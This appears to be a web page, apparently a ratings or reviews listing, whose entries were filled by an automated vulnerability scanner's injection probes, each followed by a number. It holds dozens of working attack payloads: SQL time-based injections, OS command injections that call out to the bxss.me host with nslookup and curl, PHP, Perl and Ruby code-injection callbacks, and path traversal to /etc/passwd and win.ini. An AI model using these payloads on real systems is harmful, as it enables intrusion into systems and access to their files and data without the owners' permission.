XSYvvd66') OR 664=(SELECT 664 FROM PG_SLEEP(15))--

• 0.25

-1 OR 798=(SELECT 798 FROM PG_SLEEP(15))--

• 0.25

&nslookup -q=cname hitsgzxmtohurae4bb.bxss.me&'\"`0&nslookup -q=cname hitsgzxmtohurae4bb.bxss.me&`'

• 0.25

$(nslookup -q=cname hithwmsynwhaza2b1e.bxss.me||curl hithwmsynwhaza2b1e.bxss.me)

• 0.25

'.print(md5(31337)).'

• 0.00

-1); waitfor delay '0:0:15' --

• 0.25

|echo zscqyw$()\ wzuriw\nz^xyu||a #' |echo zscqyw$()\ wzuriw\nz^xyu||a #|" |echo zscqyw$()\ wzuriw\nz^xyu||a #

• 0.25

place_reviews/.

• 0.25

c:/windows/win.ini

• 0.25

${@print(md5(31337))}

• 0.25

&echo bxjujx$()\ pxhrtf\nz^xyu||a #' &echo bxjujx$()\ pxhrtf\nz^xyu||a #|" &echo bxjujx$()\ pxhrtf\nz^xyu||a #

• 0.25

echo gpfyoi$()\ laerbp\nz^xyu||a #' &echo gpfyoi$()\ laerbp\nz^xyu||a #|" &echo gpfyoi$()\ laerbp\nz^xyu||a #

• 0.25

"+response.write(9943961*9483965)+"

• 0.25

'+response.write(9943961*9483965)+'

• 0.25

'"

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hitafakiqjtlm074bd.bxss.me||curl${IFS}hitafakiqjtlm074bd.bxss.me)

• 0.25

-1 waitfor delay '0:0:15' --

• 0.25

".gethostbyname(lc("hittw"."dijcvjzp51056.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(86).chr(117).chr(70)."

• 0.25

|(nslookup -q=cname hitvxujswqwcx2f8fc.bxss.me||curl hitvxujswqwcx2f8fc.bxss.me)

• 0.25

9761473

• 0.25

expr 9000741929 - 943475

• 0.25

${@print(md5(31337))}\

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

";print(md5(31337));$a="

• 0.25

';print(md5(31337));$a='

• 0.25

'A'.concat(70-3).concat(22*4).concat(121).concat(88).concat(97).concat(73)+(require'socket'
Socket.gethostbyname('hitxa'+'nslfijtc24d15.bxss.me.')[3].to_s)

• 0.25

bxss.me/t/xss.html?%00

• 0.25

-1) OR 178=(SELECT 178 FROM PG_SLEEP(15))--

• 0.25

response.write(9943961*9483965)

• 0.25

gethostbyname(lc('hitme'.'nzljipdge5ad1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(81).chr(113).chr(79)

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(112).concat(78).concat(98).concat(81)+(require'socket'
Socket.gethostbyname('hitas'+'uelpvxlc9accc.bxss.me.')[3].to_s)+'

• 0.25

place_reviews

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

"+"A".concat(70-3).concat(22*4).concat(98).concat(67).concat(114).concat(65)+(require"socket"
Socket.gethostbyname("hitqr"+"dhogszww61fdd.bxss.me.")[3].to_s)+"

• 0.25

"&&sleep(27*1000)*lyaary&&"

• 0.25

'.gethostbyname(lc('hitng'.'qcgqkqika36f2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(83).chr(120).chr(67).'

• 0.25

'"()&%J8sk(9171)

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

bxss.me

• 0.25

'&&sleep(27*1000)*iruqxg&&'

• 0.00

../

• 0.25

'||sleep(27*1000)*ctkaek||'

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

file:///etc/passwd

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

"||sleep(27*1000)*ppesuq||"

• 0.25

-1; waitfor delay '0:0:15' --

• 0.25

'"()

• 0.25

${9999276+9999203}

• 0.25

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitvqtfszdbvd7dfe6.bxss.me||curl${IFS}hitvqtfszdbvd7dfe6.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvqtfszdbvd7dfe6.bxss.me||curl${IFS}hitvqtfszdbvd7dfe6.bxss.me)&`'

• 0.25

&(nslookup -q=cname hitfipzynifehf8791.bxss.me||curl hitfipzynifehf8791.bxss.me)&'\"`0&(nslookup -q=cname hitfipzynifehf8791.bxss.me||curl hitfipzynifehf8791.bxss.me)&`'

• 0.25

(nslookup -q=cname hitnhiomsyfnifc07a.bxss.me||curl hitnhiomsyfnifc07a.bxss.me))

• 0.25

^(#$!@#$)(()))******

• 0.25

!(()&&!|*|*|

• 0.25

)

• 0.25

'"()&%J8sk(9613)

• 0.25

Q1PMO0gq'; waitfor delay '0:0:15' --

• 0.25

• 0.25

;(nslookup -q=cname hituabcfnhxasc39c8.bxss.me||curl hituabcfnhxasc39c8.bxss.me)|(nslookup -q=cname hituabcfnhxasc39c8.bxss.me||curl hituabcfnhxasc39c8.bxss.me)&(nslookup -q=cname hituabcfnhxasc39c8.bxss.me||curl hituabcfnhxasc39c8.bxss.me)

• 0.25

`(nslookup -q=cname hitxvgnhmrxbj28f2f.bxss.me||curl hitxvgnhmrxbj28f2f.bxss.me)`

• 0.25

/etc/shells

• 0.25

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.25

redirtest.acx